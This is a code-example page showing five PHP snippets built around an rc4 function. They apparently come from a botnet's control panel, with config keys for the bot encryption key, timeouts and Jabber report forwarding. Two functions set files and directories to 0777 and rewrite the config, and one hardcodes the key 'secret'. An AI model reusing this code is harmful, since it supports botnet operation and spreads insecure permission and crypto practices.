Ejemplo n.º 1
0
function updateConfig($updateList)
{
    //Пытаемся дать себе права.
    $file = defined('FILE_CONFIG') ? FILE_CONFIG : 'system/config.php';
    $oldfile = $file . '.old.php';
    @chmod(@dirname($file), 0777);
    @chmod($file, 0777);
    @chmod($oldfile, 0777);
    //Удаляем старый файл.
    @unlink($oldfile);
    //переименовывем текущий конфиг.
    if (is_file($file) && !@rename($file, $oldfile)) {
        return false;
    }
    # Defaults
    $defaults = config_gefault_values();
    # Collect values
    $write_config = array();
    foreach (array_keys($defaults) as $key) {
        if (isset($updateList[$key])) {
            $write_config[$key] = $updateList[$key];
        } elseif (isset($GLOBALS['config'][$key])) {
            $write_config[$key] = $GLOBALS['config'][$key];
        } else {
            $write_config[$key] = $defaults[$key];
        }
    }
    # Format
    # Update the binary cryptkey
    $cryptkey_bin = md5(BO_LOGIN_KEY, true);
    rc4($cryptkey_bin, rc4Init($write_config['botnet_cryptkey']));
    $cryptkey_bin = rc4Init($cryptkey_bin);
    $cfgData = "<?php\n\$config = " . var_export($write_config, 1) . ";\n";
    $cfgData .= "\$config['botnet_cryptkey_bin'] = array(" . implode(', ', $cryptkey_bin) . ");\n";
    $cfgData .= "return \$config;\n";
    # Store
    if (@file_put_contents($file, $cfgData) !== strlen($cfgData)) {
        return false;
    }
    # Reload
    $GLOBALS['config'] = $write_config;
    return true;
}
Ejemplo n.º 2
0
function rc4decrypt($data, $box)
{
    global $config;
    return substr(rc4($data, rc4Init($box)), $config['rc4drop']);
}
Ejemplo n.º 3
0
function sAjax($i)
{
    global $config;
    exit(base64_encode(rc4($i, rc4Init($config['sPass']))));
}
Ejemplo n.º 4
0
function decrypt($r)
{
    $data = $r;
    rc4($data, rc4Init('secret'));
    return $data;
}
Ejemplo n.º 5
0
function updateConfig($updateList)
{
    //Пытаемся дать себе права.
    $file = defined('FILE_CONFIG') ? FILE_CONFIG : 'system/config.php';
    $oldfile = $file . '.old.php';
    @chmod(@dirname($file), 0777);
    @chmod($file, 0777);
    @chmod($oldfile, 0777);
    //Удаляем старый файл.
    @unlink($oldfile);
    //переименовывем текущий конфиг.
    if (is_file($file) && !@rename($file, $oldfile)) {
        return false;
    } else {
        $cryptKey = updateConfigHelper($updateList, 'botnet_cryptkey', '');
        $cfgData = "<?php\n" . "\$config['mysql_host']          = '" . addslashes(updateConfigHelper($updateList, 'mysql_host', '127.0.0.1')) . "';\n" . "\$config['mysql_user']          = '******'mysql_user', '')) . "';\n" . "\$config['mysql_pass']          = '******'mysql_pass', '')) . "';\n" . "\$config['mysql_db']            = '" . addslashes(updateConfigHelper($updateList, 'mysql_db', '')) . "';\n" . "\n" . "\$config['reports_path']        = '" . addslashes(updateConfigHelper($updateList, 'reports_path', '_reports')) . "';\n" . "\$config['reports_to_db']       = " . updateConfigHelper($updateList, 'reports_to_db', 0) . ";\n" . "\$config['reports_to_fs']       = " . updateConfigHelper($updateList, 'reports_to_fs', 0) . ";\n" . "\n" . "\$config['reports_jn']          = " . updateConfigHelper($updateList, 'reports_jn', 0) . ";\n" . "\$config['reports_jn_logfile']  = '" . addslashes(updateConfigHelper($updateList, 'reports_jn_logfile', '')) . "';\n" . "\$config['reports_jn_account']  = '" . addslashes(updateConfigHelper($updateList, 'reports_jn_account', '')) . "';\n" . "\$config['reports_jn_pass']     = '******'reports_jn_pass', '')) . "';\n" . "\$config['reports_jn_server']   = '" . addslashes(updateConfigHelper($updateList, 'reports_jn_server', '')) . "';\n" . "\$config['reports_jn_port']     = " . updateConfigHelper($updateList, 'reports_jn_port', 5222) . ";\n" . "\$config['reports_jn_to']       = '" . addslashes(updateConfigHelper($updateList, 'reports_jn_to', '')) . "';\n" . "\$config['reports_jn_list']     = '" . addslashes(updateConfigHelper($updateList, 'reports_jn_list', '')) . "';\n" . "\$config['reports_jn_script']   = '" . addslashes(updateConfigHelper($updateList, 'reports_jn_script', '')) . "';\n" . "\n" . "\$config['botnet_timeout']      = " . updateConfigHelper($updateList, 'botnet_timeout', 0) . ";\n" . "\$config['botnet_cryptkey']     = '" . addslashes($cryptKey) . "';\n" . "\$config['botnet_cryptkey_bin'] = array(" . implode(', ', rc4Init($cryptKey)) . ");\n" . "?>";
        //Сохраняем.
        if (@file_put_contents($file, $cfgData) !== strlen($cfgData)) {
            return false;
        }
        //@chmod(@dirname($file), 0444);
    }
    return true;
}